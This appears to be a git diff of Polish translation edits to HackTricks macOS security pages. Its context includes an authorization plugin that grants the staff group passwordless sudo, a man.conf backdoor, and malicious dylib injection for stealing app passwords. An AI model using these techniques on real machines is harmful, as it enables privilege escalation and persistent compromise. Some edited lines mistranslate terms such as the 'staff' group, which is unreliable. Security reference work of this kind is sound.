@ -1269,7 +1269,7 @@ I dlatego każda próba użycia **`sudo` zadziała**.
> [!CAUTION]
> Zauważ, że ten katalog jest chroniony przez TCC, więc jest bardzo prawdopodobne, że użytkownik otrzyma monit o dostęp.
Innym dobrym przykładem jest su, gdzie możesz zobaczyć, że również możliwe jest przekazywanie parametrów do modułów PAM (a także możesz wprowadzić backdoora do tego pliku):
Innym dobrym przykładem jest su, gdzie możesz zobaczyć, że również możliwe jest przekazywanie parametrów do modułów PAM (i możesz również wprowadzić backdoora do tego pliku):
```bash
cat /etc/pam.d/su
# su: auth account session
@ -1297,7 +1297,7 @@ Writeup: [https://posts.specterops.io/persistent-credential-theft-with-authoriza
#### Opis i eksploatacja
Możesz stworzyć wtyczkę autoryzacji, która będzie wykonywana, gdy użytkownik się loguje, aby utrzymać persistencję. Aby uzyskać więcej informacji na temat tego, jak stworzyć jedną z tych wtyczek, sprawdź wcześniejsze writeupy (i bądź ostrożny, źle napisana może zablokować dostęp i będziesz musiał oczyścić swojego maca z trybu odzyskiwania).
Możesz stworzyć wtyczkę autoryzacji, która będzie wykonywana, gdy użytkownik się loguje, aby utrzymać persistencję. Aby uzyskać więcej informacji na temat tego, jak stworzyć jedną z tych wtyczek, sprawdź wcześniejsze opisy (i bądź ostrożny, źle napisana może zablokować dostęp i będziesz musiał oczyścić swojego maca w trybie odzyskiwania).
```objectivec
// Compile the code and create a real bundle
// gcc -bundle -framework Foundation main.m -o CustomAuth
@ -1312,7 +1312,7 @@ NSLog(@"%@", @"[+] Custom Authorization Plugin was loaded");
system("echo \"%staff ALL=(ALL) NOPASSWD:ALL\" >> /etc/sudoers");
}
```
**Przenieś** pakiet do lokalizacji, która ma być załadowana:
**Przenieś** pakiet do lokalizacji, w której ma być załadowany:
```bash
cp -r CustomAuth.bundle /Library/Security/SecurityAgentPlugins/
```
@ -1335,13 +1335,13 @@ EOF
security authorizationdb write com.asdf.asdf < /tmp/rule.plist
```
**`evaluate-mechanisms`** poinformuje framework autoryzacji, że będzie musiał **wywołać zewnętrzny mechanizm autoryzacji**. Ponadto, **`privileged`** sprawi, że zostanie on wykonany przez root.
**`evaluate-mechanisms`** poinformuje framework autoryzacji, że będzie musiał **wywołać zewnętrzny mechanizm autoryzacji**. Ponadto, **`privileged`** spowoduje, że zostanie on wykonany przez root.
Wywołaj to za pomocą:
```bash
security authorize com.asdf.asdf
```
A następnie **grupa staff powinna mieć dostęp sudo** (przeczytaj `/etc/sudoers`, aby potwierdzić).
A następnie **grupa pracowników powinna mieć dostęp sudo** (przeczytaj `/etc/sudoers`, aby potwierdzić).
### Man.conf
@ -1359,7 +1359,7 @@ Writeup: [https://theevilbit.github.io/beyond/beyond_0030/](https://theevilbit.g
#### Opis i Eksploatacja
Plik konfiguracyjny **`/private/etc/man.conf`** wskazuje binarny/skrypt do użycia podczas otwierania plików dokumentacji man. Ścieżka do wykonywalnego pliku może być zmodyfikowana, więc za każdym razem, gdy użytkownik używa man do czytania dokumentów, uruchamiana jest tylna furtka.
Plik konfiguracyjny **`/private/etc/man.conf`** wskazuje binarny/skrypt do użycia podczas otwierania plików dokumentacji man. Ścieżka do wykonywalnego pliku może być zmodyfikowana, więc za każdym razem, gdy użytkownik używa man do przeglądania dokumentów, uruchamiana jest tylna furtka.
Na przykład ustawione w **`/private/etc/man.conf`**:
```
@ -1377,7 +1377,7 @@ touch /tmp/manconf
**Writeup**: [https://theevilbit.github.io/beyond/beyond_0023/](https://theevilbit.github.io/beyond/beyond_0023/)
- Przydatne do obejścia sandbox: [🟠](https://emojipedia.org/large-orange-circle)
- Przydatne do obejścia piaskownicy: [🟠](https://emojipedia.org/large-orange-circle)
- Ale musisz być rootem, a apache musi być uruchomiony
- Obejście TCC: [🔴](https://emojipedia.org/large-red-circle)
- Httpd nie ma uprawnień
@ -1394,7 +1394,7 @@ Możesz wskazać w `/etc/apache2/httpd.conf`, aby załadować moduł, dodając l
```bash
LoadModule my_custom_module /Users/Shared/example.dylib "My Signature Authority"
```
W ten sposób twoje skompilowane moduły będą ładowane przez Apache. Jedyną rzeczą jest to, że musisz **podpisać to ważnym certyfikatem Apple**, lub musisz **dodać nowy zaufany certyfikat** w systemie i **podpisać to** nim.
W ten sposób twoje skompilowane moduły będą ładowane przez Apache. Jedyną rzeczą jest to, że musisz **podpisać je ważnym certyfikatem Apple**, lub musisz **dodać nowy zaufany certyfikat** w systemie i **podpisać go** tym certyfikatem.
Następnie, jeśli to konieczne, aby upewnić się, że serwer zostanie uruchomiony, możesz wykonać:
```bash
@ -1440,8 +1440,8 @@ Możesz wymusić ostrzeżenie za pomocą `sudo audit -n`.
**StartupItem** to katalog, który powinien być umieszczony w `/Library/StartupItems/` lub `/System/Library/StartupItems/`. Po utworzeniu tego katalogu, musi on zawierać dwa konkretne pliki:
1. Skrypt **rc**: Skrypt powłoki wykonywany podczas uruchamiania.
2. Plik **plist**, nazwany `StartupParameters.plist`, który zawiera różne ustawienia konfiguracyjne.
1. **skrypt rc**: Skrypt powłoki wykonywany podczas uruchamiania.
2. **plik plist**, nazwany `StartupParameters.plist`, który zawiera różne ustawienia konfiguracyjne.
Upewnij się, że zarówno skrypt rc, jak i plik `StartupParameters.plist` są poprawnie umieszczone w katalogu **StartupItem**, aby proces uruchamiania mógł je rozpoznać i wykorzystać.
@ -1494,7 +1494,7 @@ RunService "$1"
Opis: [https://theevilbit.github.io/beyond/beyond_0023/](https://theevilbit.github.io/beyond/beyond_0023/)
Wprowadzony przez Apple, **emond** to mechanizm logowania, który wydaje się być niedorozwinięty lub być może porzucony, ale nadal jest dostępny. Chociaż nie jest szczególnie korzystny dla administratora Maca, ta niejasna usługa może służyć jako subtelna metoda utrzymywania się dla aktorów zagrożeń, prawdopodobnie niezauważona przez większość administratorów macOS.
Wprowadzony przez Apple, **emond** to mechanizm logowania, który wydaje się być niedorozwinięty lub być może porzucony, jednak pozostaje dostępny. Chociaż nie jest szczególnie korzystny dla administratora Maca, ta niejasna usługa może służyć jako subtelna metoda utrzymywania się dla aktorów zagrożeń, prawdopodobnie niezauważona przez większość administratorów macOS.
Dla tych, którzy są świadomi jej istnienia, identyfikacja jakiegokolwiek złośliwego użycia **emond** jest prosta. LaunchDaemon systemu dla tej usługi poszukuje skryptów do wykonania w jednym katalogu. Aby to sprawdzić, można użyć następującego polecenia:
```bash
@ -1504,13 +1504,13 @@ ls -l /private/var/db/emondClients
Writeup: [https://theevilbit.github.io/beyond/beyond_0018/](https://theevilbit.github.io/beyond/beyond_0018/)
#### Lokalizacja
#### Location
- **`/opt/X11/etc/X11/xinit/privileged_startx.d`**
- Wymagane uprawnienia roota
- Wymagany root
- **Wyzwalacz**: Z XQuartz
#### Opis i Eksploatacja
#### Description & Exploit
XQuartz **nie jest już zainstalowany w macOS**, więc jeśli chcesz więcej informacji, sprawdź opis.
@ -1519,7 +1519,7 @@ XQuartz **nie jest już zainstalowany w macOS**, więc jeśli chcesz więcej inf
> [!CAUTION]
> Instalacja kext, nawet jako root, jest tak skomplikowana, że nie będę tego rozważać jako sposobu na ucieczkę z piaskownic ani nawet na utrzymanie (chyba że masz exploit)
#### Lokalizacja
#### Location
Aby zainstalować KEXT jako element startowy, musi być **zainstalowany w jednej z następujących lokalizacji**:
@ -1536,7 +1536,7 @@ kextload -b com.apple.driver.ExampleBundle #Load a new one based on path
kextunload /path/to/kext.kext
kextunload -b com.apple.driver.ExampleBundle
```
Dla uzyskania dodatkowych informacji o [**rozszerzeniach jądra sprawdź tę sekcję**](macos-security-and-privilege-escalation/mac-os-architecture/#i-o-kit-drivers).
Dla uzyskania dodatkowych informacji o [**rozszerzeniach jądra sprawdź tę sekcję**](macos-security-and-privilege-escalation/mac-os-architecture/index.html#i-o-kit-drivers).
### ~~amstoold~~
@ -1549,7 +1549,7 @@ Opis: [https://theevilbit.github.io/beyond/beyond_0029/](https://theevilbit.gith
#### Opis i wykorzystanie
Najwyraźniej `plist` z `/System/Library/LaunchAgents/com.apple.amstoold.plist` używał tego binarnego pliku, jednocześnie eksponując usługę XPC... problem w tym, że ten plik binarny nie istniał, więc mogłeś tam umieścić coś, a gdy usługa XPC zostanie wywołana, twój plik binarny zostanie wywołany.
Najwyraźniej `plist` z `/System/Library/LaunchAgents/com.apple.amstoold.plist` używał tego binarnego pliku, jednocześnie eksponując usługę XPC... problem w tym, że ten plik binarny nie istniał, więc mogłeś umieścić coś tam, a gdy usługa XPC zostanie wywołana, twój plik binarny zostanie wywołany.
Nie mogę już tego znaleźć w moim macOS.

View File

@ -4,8 +4,8 @@
## Wprowadzenie
Jak [**wcześniej wspomniano**](./#what-is-mdm-mobile-device-management)**,** aby spróbować zarejestrować urządzenie w organizacji **wystarczy tylko numer seryjny należący do tej organizacji**. Po zarejestrowaniu urządzenia, kilka organizacji zainstaluje wrażliwe dane na nowym urządzeniu: certyfikaty, aplikacje, hasła WiFi, konfiguracje VPN [i tak dalej](https://developer.apple.com/enterprise/documentation/Configuration-Profile-Reference.pdf).\
Dlatego może to być niebezpieczny punkt wejścia dla atakujących, jeśli proces rejestracji nie jest odpowiednio chroniony.
Jak [**wcześniej wspomniano**](#what-is-mdm-mobile-device-management)**,** aby spróbować zarejestrować urządzenie w organizacji **wystarczy tylko numer seryjny należący do tej organizacji**. Po zarejestrowaniu urządzenia, kilka organizacji zainstaluje wrażliwe dane na nowym urządzeniu: certyfikaty, aplikacje, hasła WiFi, konfiguracje VPN [i tak dalej](https://developer.apple.com/enterprise/documentation/Configuration-Profile-Reference.pdf).\
Dlatego może to być niebezpieczny punkt wejścia dla atakujących, jeśli proces rejestracji nie jest odpowiednio zabezpieczony.
**Poniżej znajduje się podsumowanie badań [https://duo.com/labs/research/mdm-me-maybe](https://duo.com/labs/research/mdm-me-maybe). Sprawdź to, aby uzyskać dalsze szczegóły techniczne!**
@ -14,10 +14,10 @@ Dlatego może to być niebezpieczny punkt wejścia dla atakujących, jeśli proc
Badania te zagłębiają się w binaria związane z Programem Rejestracji Urządzeń (DEP) i Zarządzaniem Urządzeniami Mobilnymi (MDM) na macOS. Kluczowe komponenty to:
- **`mdmclient`**: Komunikuje się z serwerami MDM i wyzwala rejestracje DEP w wersjach macOS przed 10.13.4.
- **`profiles`**: Zarządza profilami konfiguracyjnymi i wyzwala rejestracje DEP w wersjach macOS 10.13.4 i nowszych.
- **`profiles`**: Zarządza profilami konfiguracji i wyzwala rejestracje DEP w wersjach macOS 10.13.4 i nowszych.
- **`cloudconfigurationd`**: Zarządza komunikacją z API DEP i pobiera profile rejestracji urządzeń.
Rejestracje DEP wykorzystują funkcje `CPFetchActivationRecord` i `CPGetActivationRecord` z prywatnej ramy profili konfiguracyjnych do pobierania rekordu aktywacji, przy czym `CPFetchActivationRecord` współpracuje z `cloudconfigurationd` przez XPC.
Rejestracje DEP wykorzystują funkcje `CPFetchActivationRecord` i `CPGetActivationRecord` z prywatnej ramy profili konfiguracji do pobierania rekordu aktywacji, przy czym `CPFetchActivationRecord` współpracuje z `cloudconfigurationd` przez XPC.
## Inżynieria odwrotna protokołu Tesla i schematu Absinthe
@ -25,7 +25,7 @@ Rejestracja DEP polega na tym, że `cloudconfigurationd` wysyła zaszyfrowany, p
## Proxying żądań DEP
Próby przechwycenia i modyfikacji żądań DEP do _iprofiles.apple.com_ przy użyciu narzędzi takich jak Charles Proxy były utrudnione przez szyfrowanie ładunku i środki bezpieczeństwa SSL/TLS. Jednak włączenie konfiguracji `MCCloudConfigAcceptAnyHTTPSCertificate` pozwala na ominięcie walidacji certyfikatu serwera, chociaż zaszyfrowana natura ładunku nadal uniemożliwia modyfikację numeru seryjnego bez klucza deszyfrującego.
Próby przechwycenia i modyfikacji żądań DEP do _iprofiles.apple.com_ za pomocą narzędzi takich jak Charles Proxy były utrudnione przez szyfrowanie ładunku i środki bezpieczeństwa SSL/TLS. Jednak włączenie konfiguracji `MCCloudConfigAcceptAnyHTTPSCertificate` pozwala na ominięcie walidacji certyfikatu serwera, chociaż zaszyfrowana natura ładunku nadal uniemożliwia modyfikację numeru seryjnego bez klucza deszyfrującego.
## Instrumentacja binariów systemowych współpracujących z DEP
@ -42,7 +42,7 @@ Ta metoda pozwoliła na pobranie pełnych profili DEP dla dowolnych numerów ser
### Automatyzacja instrumentacji za pomocą Pythona
Proces eksploatacji został zautomatyzowany przy użyciu Pythona z API LLDB, co umożliwiło programowe wstrzykiwanie dowolnych numerów seryjnych i pobieranie odpowiadających im profili DEP.
Proces eksploatacji został zautomatyzowany za pomocą Pythona z użyciem API LLDB, co umożliwiło programowe wstrzykiwanie dowolnych numerów seryjnych i pobieranie odpowiadających im profili DEP.
### Potencjalne skutki luk w DEP i MDM

View File

@ -6,13 +6,13 @@
Jeśli nie znasz macOS, powinieneś zacząć od nauki podstaw macOS:
- Specjalne pliki i **uprawnienia macOS:**
- Specjalne **pliki i uprawnienia** macOS:
{{#ref}}
macos-files-folders-and-binaries/
{{#endref}}
- Typowi **użytkownicy macOS**
- Powszechni **użytkownicy** macOS
{{#ref}}
macos-users.md
@ -30,13 +30,13 @@ macos-applefs.md
mac-os-architecture/
{{#endref}}
- Typowe **usługi i protokoły sieciowe macOS**
- Powszechne **usługi i protokoły sieciowe** macOS
{{#ref}}
macos-protocols.md
{{#endref}}
- **Opensource** macOS: [https://opensource.apple.com/](https://opensource.apple.com/)
- **Oprogramowanie open source** macOS: [https://opensource.apple.com/](https://opensource.apple.com/)
- Aby pobrać `tar.gz`, zmień adres URL, na przykład [https://opensource.apple.com/**source**/dyld/](https://opensource.apple.com/source/dyld/) na [https://opensource.apple.com/**tarballs**/dyld/**dyld-852.2.tar.gz**](https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz)
### MacOS MDM
@ -53,15 +53,15 @@ W firmach systemy **macOS** będą prawdopodobnie **zarządzane przez MDM**. Dla
macos-apps-inspecting-debugging-and-fuzzing/
{{#endref}}
## MacOS Ochrony Bezpieczeństwa
## MacOS Security Protections
{{#ref}}
macos-security-protections/
{{#endref}}
## Powierzchnia Ataku
## Attack Surface
### Uprawnienia Plików
### Uprawnienia plików
Jeśli **proces działający jako root zapisuje** plik, który może być kontrolowany przez użytkownika, użytkownik może to wykorzystać do **eskalacji uprawnień**.\
Może to wystąpić w następujących sytuacjach:
@ -79,7 +79,7 @@ W przypadku tego rodzaju luk nie zapomnij **sprawdzić podatnych instalatorów `
macos-files-folders-and-binaries/macos-installers-abuse.md
{{#endref}}
### Obsługa aplikacji według rozszerzenia pliku i schematu URL
### Obsługa rozszerzeń plików i schematów URL
Dziwne aplikacje zarejestrowane przez rozszerzenia plików mogą być wykorzystywane, a różne aplikacje mogą być zarejestrowane do otwierania określonych protokołów
@ -87,29 +87,29 @@ Dziwne aplikacje zarejestrowane przez rozszerzenia plików mogą być wykorzysty
macos-file-extension-apps.md
{{#endref}}
## macOS TCC / SIP Eskalacja Uprawnień
## macOS TCC / SIP Privilege Escalation
W macOS **aplikacje i pliki binarne mogą mieć uprawnienia** do dostępu do folderów lub ustawień, które czynią je bardziej uprzywilejowanymi niż inne.
Dlatego atakujący, który chce skutecznie skompromitować maszynę macOS, będzie musiał **eskalować swoje uprawnienia TCC** (lub nawet **obejść SIP**, w zależności od jego potrzeb).
Te uprawnienia są zazwyczaj przyznawane w formie **uprawnień**, z którymi aplikacja jest podpisana, lub aplikacja może poprosić o dostęp, a po **zatwierdzeniu ich przez użytkownika** mogą być znalezione w **bazach danych TCC**. Innym sposobem, w jaki proces może uzyskać te uprawnienia, jest bycie **dzieckiem procesu** z tymi **uprawnieniami**, ponieważ są one zazwyczaj **dziedziczone**.
Te uprawnienia są zazwyczaj nadawane w formie **uprawnień**, z którymi aplikacja jest podpisana, lub aplikacja może poprosić o pewne dostępy, a po **zatwierdzeniu ich przez użytkownika** mogą być one znalezione w **bazach danych TCC**. Innym sposobem, w jaki proces może uzyskać te uprawnienia, jest bycie **dzieckiem procesu** z tymi **uprawnieniami**, ponieważ są one zazwyczaj **dziedziczone**.
Śledź te linki, aby znaleźć różne sposoby [**eskalacji uprawnień w TCC**](macos-security-protections/macos-tcc/#tcc-privesc-and-bypasses), aby [**obejść TCC**](macos-security-protections/macos-tcc/macos-tcc-bypasses/) i jak w przeszłości [**SIP został ominięty**](macos-security-protections/macos-sip.md#sip-bypasses).
Śledź te linki, aby znaleźć różne sposoby [**eskalacji uprawnień w TCC**](macos-security-protections/macos-tcc/index.html#tcc-privesc-and-bypasses), aby [**obejść TCC**](macos-security-protections/macos-tcc/macos-tcc-bypasses/) i jak w przeszłości [**SIP został obejrzany**](macos-security-protections/macos-sip.md#sip-bypasses).
## macOS Tradycyjna Eskalacja Uprawnień
## macOS Traditional Privilege Escalation
Oczywiście z perspektywy zespołu red, powinieneś być również zainteresowany eskalacją do roota. Sprawdź następujący post, aby uzyskać kilka wskazówek:
Oczywiście z perspektywy zespołu red team również powinieneś być zainteresowany eskalacją do roota. Sprawdź następujący post, aby uzyskać kilka wskazówek:
{{#ref}}
macos-privilege-escalation.md
{{#endref}}
## Zgodność macOS
## macOS Compliance
- [https://github.com/usnistgov/macos_security](https://github.com/usnistgov/macos_security)
## Odniesienia
## References
- [**OS X Incident Response: Scripting and Analysis**](https://www.amazon.com/OS-Incident-Response-Scripting-Analysis-ebook/dp/B01FHOHHVS)
- [**https://taomm.org/vol1/analysis.html**](https://taomm.org/vol1/analysis.html)

View File

@ -2,13 +2,13 @@
{{#include ../../../banners/hacktricks-training.md}}
## Function Interposing
## Interpozycja Funkcji
Utwórz **dylib** z sekcją **`__interpose`** (lub sekcją oznaczoną jako **`S_INTERPOSING`**) zawierającą krotki **wskaźników funkcji**, które odnoszą się do **oryginalnych** i **zamiennych** funkcji.
Następnie **wstrzyknij** dylib za pomocą **`DYLD_INSERT_LIBRARIES`** (interpozycja musi nastąpić przed załadowaniem głównej aplikacji). Oczywiście [**ograniczenia** dotyczące użycia **`DYLD_INSERT_LIBRARIES`** mają tu również zastosowanie](../macos-proces-abuse/macos-library-injection/#check-restrictions).&#x20;
Następnie **wstrzyknij** dylib za pomocą **`DYLD_INSERT_LIBRARIES`** (interpozycja musi nastąpić przed załadowaniem głównej aplikacji). Oczywiście [**ograniczenia** stosowane do użycia **`DYLD_INSERT_LIBRARIES`** mają tu również zastosowanie](../macos-proces-abuse/macos-library-injection/index.html#check-restrictions).&#x20;
### Interpose printf
### Interpozycja printf
{{#tabs}}
{{#tab name="interpose.c"}}
@ -85,7 +85,7 @@ Potrzebny jest **obiekt**, **metoda** i **parametry**. A gdy metoda jest wywoły
Obiekt to **`someObject`**, metoda to **`@selector(method1p1:p2:)`**, a argumenty to **value1**, **value2**.
Śledząc struktury obiektów, możliwe jest dotarcie do **tablicy metod**, w której **nazwy** i **wskaźniki** do kodu metod są **zlokalizowane**.
Śledząc struktury obiektów, możliwe jest dotarcie do **tablicy metod**, w której **nazwy** i **wskaźniki** do kodu metody**zlokalizowane**.
> [!CAUTION]
> Zauważ, że ponieważ metody i klasy są dostępne na podstawie ich nazw, te informacje są przechowywane w binarnym pliku, więc można je odzyskać za pomocą `otool -ov </path/bin>` lub [`class-dump </path/bin>`](https://github.com/nygard/class-dump)
@ -272,11 +272,11 @@ return 0;
Na tej stronie omówiono różne sposoby hookowania funkcji. Jednak polegały one na **uruchamianiu kodu wewnątrz procesu w celu ataku**.
Aby to zrobić, najłatwiejszą techniką do użycia jest wstrzyknięcie [Dyld za pomocą zmiennych środowiskowych lub przejęcia](../macos-dyld-hijacking-and-dyld_insert_libraries.md). Jednak przypuszczam, że można to również zrobić za pomocą [wstrzykiwania procesu Dylib](macos-ipc-inter-process-communication/#dylib-process-injection-via-task-port).
Aby to zrobić, najłatwiejszą techniką do użycia jest wstrzyknięcie [Dyld za pomocą zmiennych środowiskowych lub przejęcia](../macos-dyld-hijacking-and-dyld_insert_libraries.md). Jednak przypuszczam, że można to również zrobić za pomocą [wstrzykiwania procesu Dylib](macos-ipc-inter-process-communication/index.html#dylib-process-injection-via-task-port).
Jednak obie opcje są **ograniczone** do **niechronionych** binarek/procesów. Sprawdź każdą technikę, aby dowiedzieć się więcej o ograniczeniach.
Jednak atak hookowania funkcji jest bardzo specyficzny, atakujący zrobi to, aby **ukraść wrażliwe informacje z wnętrza procesu** (w przeciwnym razie po prostu przeprowadziłby atak wstrzykiwania procesu). A te wrażliwe informacje mogą znajdować się w aplikacjach pobranych przez użytkownika, takich jak MacPass.
Jednak atak hookowania funkcji jest bardzo specyficzny, atakujący zrobi to, aby **ukraść wrażliwe informacje z wnętrza procesu** (gdyby nie, po prostu przeprowadziłby atak wstrzykiwania procesu). A te wrażliwe informacje mogą znajdować się w aplikacjach pobranych przez użytkownika, takich jak MacPass.
Zatem wektorem ataku byłoby znalezienie luki lub usunięcie podpisu aplikacji, wstrzyknięcie zmiennej środowiskowej **`DYLD_INSERT_LIBRARIES`** przez Info.plist aplikacji, dodając coś takiego:
```xml
@ -286,11 +286,11 @@ Zatem wektorem ataku byłoby znalezienie luki lub usunięcie podpisu aplikacji,
<string>/Applications/Application.app/Contents/malicious.dylib</string>
</dict>
```
a następnie **ponownie zarejestrować** aplikację:
a następnie **ponownie zarejestruj** aplikację:
```bash
/System/Library/Frameworks/CoreServices.framework/Frameworks/LaunchServices.framework/Support/lsregister -f /Applications/Application.app
```
Dodaj do tej biblioteki kod hookujący do eksfiltracji informacji: Hasła, wiadomości...
Dodaj do tej biblioteki kod hookujący, aby wyeksportować informacje: Hasła, wiadomości...
> [!CAUTION]
> Zauważ, że w nowszych wersjach macOS, jeśli **usunięto podpis** binarnego pliku aplikacji i był on wcześniej uruchamiany, macOS **nie będzie już uruchamiać aplikacji**.

View File

@ -4,13 +4,13 @@
## Podstawowe informacje
I/O Kit to otwartoźródłowy, obiektowy **framework sterowników urządzeń** w jądrze XNU, obsługujący **dynamicznie ładowane sterowniki urządzeń**. Umożliwia dodawanie modularnego kodu do jądra w locie, wspierając różnorodny sprzęt.
I/O Kit to otwartoźródłowy, obiektowy **framework sterowników urządzeń** w jądrze XNU, obsługujący **dynamicznie ładowane sterowniki urządzeń**. Umożliwia dodawanie modułowego kodu do jądra w locie, wspierając różnorodny sprzęt.
Sterowniki IOKit zasadniczo **eksportują funkcje z jądra**. Typy **parametrów** tych funkcji są **zdefiniowane z góry** i są weryfikowane. Ponadto, podobnie jak XPC, IOKit jest po prostu kolejną warstwą **na Mach messages**.
**Kod jądra IOKit XNU** jest otwartoźródłowy i udostępniony przez Apple w [https://github.com/apple-oss-distributions/xnu/tree/main/iokit](https://github.com/apple-oss-distributions/xnu/tree/main/iokit). Ponadto, komponenty IOKit w przestrzeni użytkownika są również otwartoźródłowe [https://github.com/opensource-apple/IOKitUser](https://github.com/opensource-apple/IOKitUser).
Jednakże, **żadne sterowniki IOKit** nie są otwartoźródłowe. Tak czy inaczej, od czasu do czasu wydanie sterownika może zawierać symbole, które ułatwiają jego debugowanie. Sprawdź, jak [**uzyskać rozszerzenia sterownika z oprogramowania układowego tutaj**](./#ipsw)**.**
Jednakże, **żadne sterowniki IOKit** nie są otwartoźródłowe. Tak czy inaczej, od czasu do czasu wydanie sterownika może zawierać symbole, które ułatwiają jego debugowanie. Sprawdź, jak [**uzyskać rozszerzenia sterownika z oprogramowania układowego tutaj**](#ipsw)**.**
Jest napisany w **C++**. Możesz uzyskać zdemanglowane symbole C++ za pomocą:
```bash
@ -23,7 +23,7 @@ __ZN16IOUserClient202222dispatchExternalMethodEjP31IOExternalMethodArgumentsOpaq
IOUserClient2022::dispatchExternalMethod(unsigned int, IOExternalMethodArgumentsOpaque*, IOExternalMethodDispatch2022 const*, unsigned long, OSObject*, void*)
```
> [!CAUTION]
> Funkcje **exposed** IOKit mogą wykonywać **dodatkowe kontrole bezpieczeństwa**, gdy klient próbuje wywołać funkcję, ale należy zauważyć, że aplikacje są zazwyczaj **ograniczone** przez **sandbox**, z którymi funkcje IOKit mogą wchodzić w interakcje.
> Funkcje **exponowane przez IOKit** mogą wykonywać **dodatkowe kontrole bezpieczeństwa**, gdy klient próbuje wywołać funkcję, ale należy zauważyć, że aplikacje są zazwyczaj **ograniczone** przez **piaskownicę**, z którymi funkcje IOKit mogą wchodzić w interakcje.
## Sterowniki
@ -68,9 +68,9 @@ kextunload com.apple.iokit.IOReportFamily
```
## IORegistry
**IORegistry** jest kluczową częścią frameworka IOKit w macOS i iOS, który służy jako baza danych do reprezentowania konfiguracji sprzętowej i stanu systemu. To **hierarchiczna kolekcja obiektów, które reprezentują cały sprzęt i sterowniki** załadowane w systemie oraz ich wzajemne relacje.
**IORegistry** jest kluczową częścią frameworka IOKit w macOS i iOS, który służy jako baza danych do reprezentowania konfiguracji i stanu sprzętu systemu. To **hierarchiczna kolekcja obiektów, które reprezentują cały sprzęt i sterowniki** załadowane w systemie oraz ich wzajemne relacje.
Możesz uzyskać IORegistry za pomocą cli **`ioreg`**, aby go zbadać z konsoli (szczególnie przydatne dla iOS).
Możesz uzyskać dostęp do IORegistry za pomocą cli **`ioreg`**, aby go zbadać z konsoli (szczególnie przydatne dla iOS).
```bash
ioreg -l #List all
ioreg -w 0 #Not cut lines
@ -84,12 +84,12 @@ W IORegistryExplorer "płaszczyzny" są używane do organizowania i wyświetlani
1. **IOService Plane**: To najbardziej ogólna płaszczyzna, wyświetlająca obiekty usług, które reprezentują sterowniki i nuby (kanały komunikacyjne między sterownikami). Pokazuje relacje dostawca-klient między tymi obiektami.
2. **IODeviceTree Plane**: Ta płaszczyzna reprezentuje fizyczne połączenia między urządzeniami, gdy są podłączone do systemu. Często jest używana do wizualizacji hierarchii urządzeń podłączonych przez magistrale, takie jak USB lub PCI.
3. **IOPower Plane**: Wyświetla obiekty i ich relacje w kontekście zarządzania energią. Może pokazać, które obiekty wpływają na stan zasilania innych, co jest przydatne do debugowania problemów związanych z zasilaniem.
3. **IOPower Plane**: Wyświetla obiekty i ich relacje w kontekście zarządzania energią. Może pokazywać, które obiekty wpływają na stan zasilania innych, co jest przydatne do debugowania problemów związanych z zasilaniem.
4. **IOUSB Plane**: Skoncentrowana na urządzeniach USB i ich relacjach, pokazując hierarchię hubów USB i podłączonych urządzeń.
5. **IOAudio Plane**: Ta płaszczyzna jest przeznaczona do reprezentowania urządzeń audio i ich relacji w systemie.
6. ...
## Przykład kodu Comm Driver
## Przykład kodu komunikacji sterownika
Poniższy kod łączy się z usługą IOKit `"YourServiceNameHere"` i wywołuje funkcję wewnątrz selektora 0. W tym celu:
@ -154,7 +154,7 @@ Są **inne** funkcje, które można wykorzystać do wywoływania funkcji IOKit o
## Odwracanie punktu wejścia sterownika
Możesz je uzyskać na przykład z [**obrazu oprogramowania układowego (ipsw)**](./#ipsw). Następnie załaduj go do swojego ulubionego dekompilatora.
Możesz je uzyskać na przykład z [**obrazu oprogramowania układowego (ipsw)**](#ipsw). Następnie załaduj go do swojego ulubionego dekompilatora.
Możesz zacząć dekompilować funkcję **`externalMethod`**, ponieważ jest to funkcja sterownika, która będzie odbierać wywołanie i wywoływać odpowiednią funkcję:
@ -184,11 +184,11 @@ Nowy dekompilowany kod będzie wyglądać następująco:
<figure><img src="../../../images/image (1175).png" alt=""><figcaption></figcaption></figure>
Na następnym kroku musimy zdefiniować strukturę **`IOExternalMethodDispatch2022`**. Jest to open source w [https://github.com/apple-oss-distributions/xnu/blob/1031c584a5e37aff177559b9f69dbd3c8c3fd30a/iokit/IOKit/IOUserClient.h#L168-L176](https://github.com/apple-oss-distributions/xnu/blob/1031c584a5e37aff177559b9f69dbd3c8c3fd30a/iokit/IOKit/IOUserClient.h#L168-L176), możesz ją zdefiniować:
Na następnym etapie musimy zdefiniować strukturę **`IOExternalMethodDispatch2022`**. Jest ona open source w [https://github.com/apple-oss-distributions/xnu/blob/1031c584a5e37aff177559b9f69dbd3c8c3fd30a/iokit/IOKit/IOUserClient.h#L168-L176](https://github.com/apple-oss-distributions/xnu/blob/1031c584a5e37aff177559b9f69dbd3c8c3fd30a/iokit/IOKit/IOUserClient.h#L168-L176), możesz ją zdefiniować:
<figure><img src="../../../images/image (1170).png" alt=""><figcaption></figcaption></figure>
Teraz, podążając za `(IOExternalMethodDispatch2022 *)&sIOExternalMethodArray` możesz zobaczyć wiele danych:
Teraz, podążając za `(IOExternalMethodDispatch2022 *)&sIOExternalMethodArray`, możesz zobaczyć wiele danych:
<figure><img src="../../../images/image (1176).png" alt="" width="563"><figcaption></figcaption></figure>
@ -200,7 +200,7 @@ po zmianie:
<figure><img src="../../../images/image (1179).png" alt="" width="563"><figcaption></figcaption></figure>
Jak teraz widzimy, mamy **tablicę 7 elementów** (sprawdź końcowy dekompilowany kod), kliknij, aby utworzyć tablicę 7 elementów:
Jak widzimy, mamy tam **tablicę 7 elementów** (sprawdź końcowy dekompilowany kod), kliknij, aby utworzyć tablicę 7 elementów:
<figure><img src="../../../images/image (1180).png" alt="" width="563"><figcaption></figcaption></figure>
@ -209,6 +209,6 @@ Po utworzeniu tablicy możesz zobaczyć wszystkie eksportowane funkcje:
<figure><img src="../../../images/image (1181).png" alt=""><figcaption></figcaption></figure>
> [!TIP]
> Jeśli pamiętasz, aby **wywołać** funkcję **eksportowaną** z przestrzeni użytkownika, nie musimy wywoływać nazwy funkcji, ale **numer selektora**. Tutaj możesz zobaczyć, że selektor **0** to funkcja **`initializeDecoder`**, selektor **1** to **`startDecoder`**, selektor **2** **`initializeEncoder`**...
> Jeśli pamiętasz, aby **wywołać** **eksportowaną** funkcję z przestrzeni użytkownika, nie musimy wywoływać nazwy funkcji, ale **numer selektora**. Tutaj możesz zobaczyć, że selektor **0** to funkcja **`initializeDecoder`**, selektor **1** to **`startDecoder`**, selektor **2** **`initializeEncoder`**...
{{#include ../../../banners/hacktricks-training.md}}

View File

